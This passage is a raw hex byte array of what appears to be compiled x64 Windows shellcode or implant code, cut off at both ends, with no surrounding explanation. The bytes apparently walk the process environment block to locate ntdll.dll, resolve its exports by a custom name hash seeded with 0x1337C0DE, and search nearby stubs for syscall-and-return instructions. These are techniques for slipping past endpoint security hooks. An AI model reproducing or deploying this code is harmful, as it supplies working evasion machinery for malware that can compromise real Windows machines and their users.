4,0x57,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x45,0xF0,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x3F,0x48,0x8D,0x55,0xD8,0x48,0x8B,0x45,0x18,0x4C,0x8B,0x45,0xF0,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x27,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCF,0xFD,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xFC,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0x48,0x8B,0x05,0x2A,0xFD,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0xD8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x11,0xFD,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xEC,0x08,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF4,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF4,0x8B,0x45,0xEC,0x89,0xC3,0x48,0x8B,0x05,0x94,0xFC,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x90,0xFC,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF7,0x00,0x00,0x00,0x44,0x8B,0x45,0xEC,0x48,0x8B,0x4D,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xEC,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x0B,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCA,0x16,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x56,0x48,0x83,0x7D,0xF8,0x00,0x74,0x40,0x8B,0x55,0xF4,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x22,0x5A,0x00,0x00,0x48,0x8B,0x05,0x13,0xFC,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x13,0xFC,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x81,0x7D,0xF0,0x23,0x00,0x00,0xC0,0x0F,0x84,0x3E,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x62,0x48,0x8B,0x45,0xF8,0x8B,0x00,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x28,0x89,0x10,0x48,0x83,0x7D,0xF8,0x00,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA8,0x59,0x00,0x00,0x48,0x8B,0x05,0x99,0xFB,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x99,0xFB,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x57,0x53,0x48,0x81,0xEC,0x70,0x04,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x10,0x04,0x00,0x00,0x48,0x89,0x95,0x18,0x04,0x00,0x00,0xC7,0x85,0xEC,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xD0,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xE8,0x03,0x00,0x00,0x00,0x01,0x00,0x00,0x48,0x8D,0x95,0xD0,0x01,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x55,0xD0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x8B,0x85,0xE8,0x03,0x00,0x00,0x89,0x45,0xCC,0x8B,0x85,0xE8,0x03,0x00,0x00,0x89,0x45,0xC8,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x09,0x80,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0xD2,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x2B,0x75,0x3E,0x09,0x48,0x89,0xC1,0xE8,0x5E,0xD0,0xFF,0xFF,0x48,0x89,0x85,0xE0,0x03,0x00,0x00,0x48,0x83,0xBD,0xE0,0x03,0x00,0x00,0x00,0x0F,0x84,0x50,0x01,0x00,0x00,0x48,0x8D,0x95,0xD0,0x03,0x00,0x00,0x48,0x8B,0x85,0x10,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x40,0xF9,0xFF,0xFF,0x89,0x85,0xDC,0x03,0x00,0x00,0x83,0xBD,0xDC,0x03,0x00,0x00,0x00,0x0F,0x84,0x2A,0x01,0x00,0x00,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x4C,0x8D,0x45,0xCC,0x48,0x8D,0x8D,0xD0,0x01,0x00,0x00,0x48,0x8D,0x55,0xC4,0x48,0x89,0x54,0x24,0x30,0x48,0x8D,0x55,0xC8,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x55,0xD0,0x48,0x89,0x54,0x24,0x20,0x4C,0x8B,0x95,0xE0,0x03,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x85,0xDC,0x03,0x00,0x00,0x83,0xBD,0xDC,0x03,0x00,0x00,0x00,0x0F,0x84,0xD5,0x00,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC0,0x48,0x8D,0x1C,0x00,0x48,0x8B,0x05,0x1A,0xFA,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x16,0xFA,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x18,0x04,0x00,0x00,0x48,0x89,0x02,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x0F,0x84,0x8D,0x00,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC1,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x29,0x58,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC2,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x49,0x89,0xD0,0x48,0x8D,0x15,0xBC,0x7F,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF8,0x57,0x00,0x00,0x8B,0x85,0xE8,0x03,0x00,0x00,0x01,0xC0,0x83,0xC0,0x01,0x89,0xC1,0x48,0x8B,0x85,0x18,0x04,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x95,0xD0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xCF,0x57,0x00,0x00,0xC7,0x85,0xEC,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x48,0x85,0xC0,0x74,0x13,0x48,0x8B,0x85,0xD0,0x03,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x74,0xF9,0x00,0x00,0xFF,0xD0,0x8B,0x85,0xEC,0x03,0x00,0x00,0x48,0x81,0xC4,0x70,0x04,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x37,0x0E,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xC8,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7B,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x00,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x18,0x48,0x89,0x45,0xF0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD8,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xAB,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x10,0x83,0x7D,0x18,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAD,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x79,0x59,0x83,0x7D,0x18,0x00,0x74,0x53,0x81,0x7D,0xEC,0x22,0x00,0x00,0xC0,0x75,0x20,0x48,0x8D,0x05,0x37,0x7E,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAF,0xAC,0xFF,0xFF,0x48,0x8D,0x05,0x5B,0x7E,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA0,0xAC,0xFF,0xFF,0xEB,0x23,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8D,0x05,0x4A,0x7E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0xAC,0xFF,0xFF,0x48,0x8D,0x05,0x36,0x7E,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7B,0xAC,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD0,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF9,0x0B,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD0,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x05,0x69,0xF7,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x20,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x62,0xF7,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAC,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0x18,0x8B,0x50,0x40,0x48,0x8B,0x45,0xF8,0x89,0x50,0x10,0x48,0x8B,0x45,0x18,0x8B,0x90,0x80,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x18,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x8B,0x90,0x20,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x89,0x90,0x1C,0x02,0x00,0x00,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x40,0x48,0xBA,0x00,0x02,0x00,0x00,0x66,0x39,0xD0,0x0F,0x47,0xC2,0x0F,0xB7,0xC0,0x89,0x45,0xF4,0x8B,0x4D,0xF4,0x48,0x8B,0x45,0xF8,0x4C,0x8D,0x40,0x14,0x48,0x8B,0x45,0x18,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x48,0x89,0xC1,0xE8,0x02,0x0B,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x28,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xAA,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x48,0x8B,0x45,0x28,0x41,0xB8,0x04,0x01,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0x54,0x00,0x00,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x40,0x58,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x60,0x48,0x8B,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x50,0x0A,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x81,0xEC,0xA0,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x30,0x03,0x00,0x00,0x48,0x89,0x95,0x38,0x03,0x00,0x00,0x44,0x89,0x85,0x40,0x03,0x00,0x00,0x44,0x89,0x8D,0x48,0x03,0x00,0x00,0x48,0xC7,0x85,0x18,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x95,0x48,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD4,0xFC,0xFF,0xFF,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x83,0xBD,0x10,0x03,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x27,0x02,0x00,0x00,0x48,0xC7,0x85,0x08,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0xC7,0x85,0x06,0x03,0x00,0x00,0x00,0x00,0xC7,0x85,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xB0,0x01,0x00,0x00,0x4C,0x8D,0x45,0xA0,0x48,0x8D,0x8D,0xB0,0x01,0x00,0x00,0x48,0x8B,0x95,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9C,0xFE,0xFF,0xFF,0x89,0x85,0xEC,0x02,0x00,0x00,0x83,0xBD,0xEC,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC4,0x01,0x00,0x00,0x48,0x83,0xBD,0x08,0x03,0x00,0x00,0x00,0x75,0x0E,0x48,0x8B,0x85,0xB8,0x01,0x00,0x00,0x48,0x89,0x85,0x08,0x03,0x00,0x00,0xC7,0x85,0xFC,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x19,0x01,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x55,0xA0,0x48,0x89,0xC1,0x48,0x8B,0x05,0x6A,0xF5,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xDD,0x00,0x00,0x00,0x8B,0x85,0xFC,0x02,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x38,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x08,0x7B,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x32,0xF5,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0A,0xC7,0x85,0x00,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8B,0x85,0x30,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDC,0xFC,0xFF,0xFF,0x48,0x89,0x85,0xE0,0x02,0x00,0x00,0x48,0x83,0xBD,0xE0,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF9,0x00,0x00,0x00,0x48,0x83,0xBD,0x18,0x03,0x00,0x00,0x00,0x75,0x10,0x48,0x8B,0x85,0xE0,0x02,0x00,0x00,0x48,0x89,0x85,0x18,0x03,0x00,0x00,0xEB,0x41,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0xEB,0x11,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE0,0x48,0x8B,0x85,0xF0,0x02,0x00,0x00,0x48,0x8B,0x95,0xE0,0x02,0x00,0x00,0x48,0x89,0x10,0x0F,0xB7,0x85,0x06,0x03,0x00,0x00,0x83,0xC0,0x01,0x66,0x89,0x85,0x06,0x03,0x00,0x00,0xEB,0x19,0x83,0x85,0xFC,0x02,0x00,0x00,0x01,0x8B,0x85,0xFC,0x02,0x00,0x00,0x3B,0x85,0x40,0x03,0x00,0x00,0x0F,0x8C,0xD5,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0x85,0x10,0x03,0x00,0x00,0x48,0x8B,0x85,0x10,0x03,0x00,0x00,0x48,0x3B,0x85,0x08,0x03,0x00,0x00,0x74,0x15,0x0F,0xBF,0x85,0x06,0x03,0x00,0x00,0x39,0x85,0x40,0x03,0x00,0x00,0x0F,0x8F,0x3D,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x83,0xBD,0x48,0x03,0x00,0x00,0x00,0x74,0x2E,0x83,0xBD,0x00,0x03,0x00,0x00,0x00,0x75,0x25,0x48,0x8D,0x05,0x05,0x7A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x05,0xA8,0xFF,0xFF,0x48,0x8D,0x05,0xB1,0x79,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF6,0xA7,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x07,0x48,0x8B,0x85,0x18,0x03,0x00,0x00,0x48,0x81,0xC4,0xA0,0x03,0x00,0x00,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0xAD,0xDE,0xDE,0xC0,0xC3,0x90,0x0F,0x0B,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xB9,0x0F,0x2A,0x9B,0xCD,0xE8,0x3F,0x06,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xE1,0x0F,0x05,0xC6,0x45,0xE3,0xC3,0x8B,0x45,0x18,0x83,0xE8,0x02,0x89,0x45,0xE4,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x35,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB0,0x50,0x00,0x00,0x85,0xC0,0x75,0x09,0x48,0x8B,0x45,0xE8,0xE9,0xD1,0x00,0x00,0x00,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0xE4,0x72,0xC3,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x3E,0x8B,0x55,0xF4,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x52,0x50,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x76,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0xE4,0x72,0xBA,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x41,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x10,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x0F,0xAF,0x45,0x18,0x89,0xC1,0x48,0x89,0xD0,0x48,0x29,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xE1,0x41,0xB8,0x03,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x00,0x50,0x00,0x00,0x85,0xC0,0x75,0x06,0x48,0x8B,0x45,0xE8,0xEB,0x24,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF0,0x3B,0x45,0xE4,0x72,0xB7,0x83,0x45,0xF8,0x01,0x81,0x7D,0xF8,0x25,0x02,0x00,0x00,0x0F,0x86,0x4E,0xFF,0xFF,0xFF,0x48,0x8D,0x05,0xAA,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0xDE,0xC0,0x37,0x13,0xEB,0x28,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x8B,0x55,0xF8,0xC1,0xCA,0x08,0x01,0xD0,0x31,0x45,0xF8,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC7,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xE8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xE0,0x00,0x00,0x00,0x8B,0x05,0x5F,0xAF,0x00,0x00,0x85,0xC0,0x74,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x15,0x04,0x00,0x00,0xC7,0x85,0x64,0xFF,0xFF,0xFF,0x60,0x00,0x00,0x00,0x8B,0x85,0x64,0xFF,0xFF,0xFF,0x65,0x48,0x8B,0x00,0x48,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xC8,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xE8,0xE9,0xA1,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xB0,0x48,0x8B,0x45,0xB0,0x8B,0x00,0x89,0x45,0xAC,0x83,0x7D,0xAC,0x00,0x74,0x4C,0x8B,0x55,0xAC,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x0C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xA0,0x48,0x8B,0x45,0xA0,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6E,0x74,0x64,0x6C,0x75,0x1B,0x48,0x8B,0x45,0xA0,0x48,0x83,0xC0,0x04,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6C,0x2E,0x64,0x6C,0x74,0x24,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x30,0x48,0x85,0xC0,0x0F,0x85,0x4E,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xFC,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x18,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x98,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x90,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0x88,0xC7,0x45,0xE0,0x00,0x00,0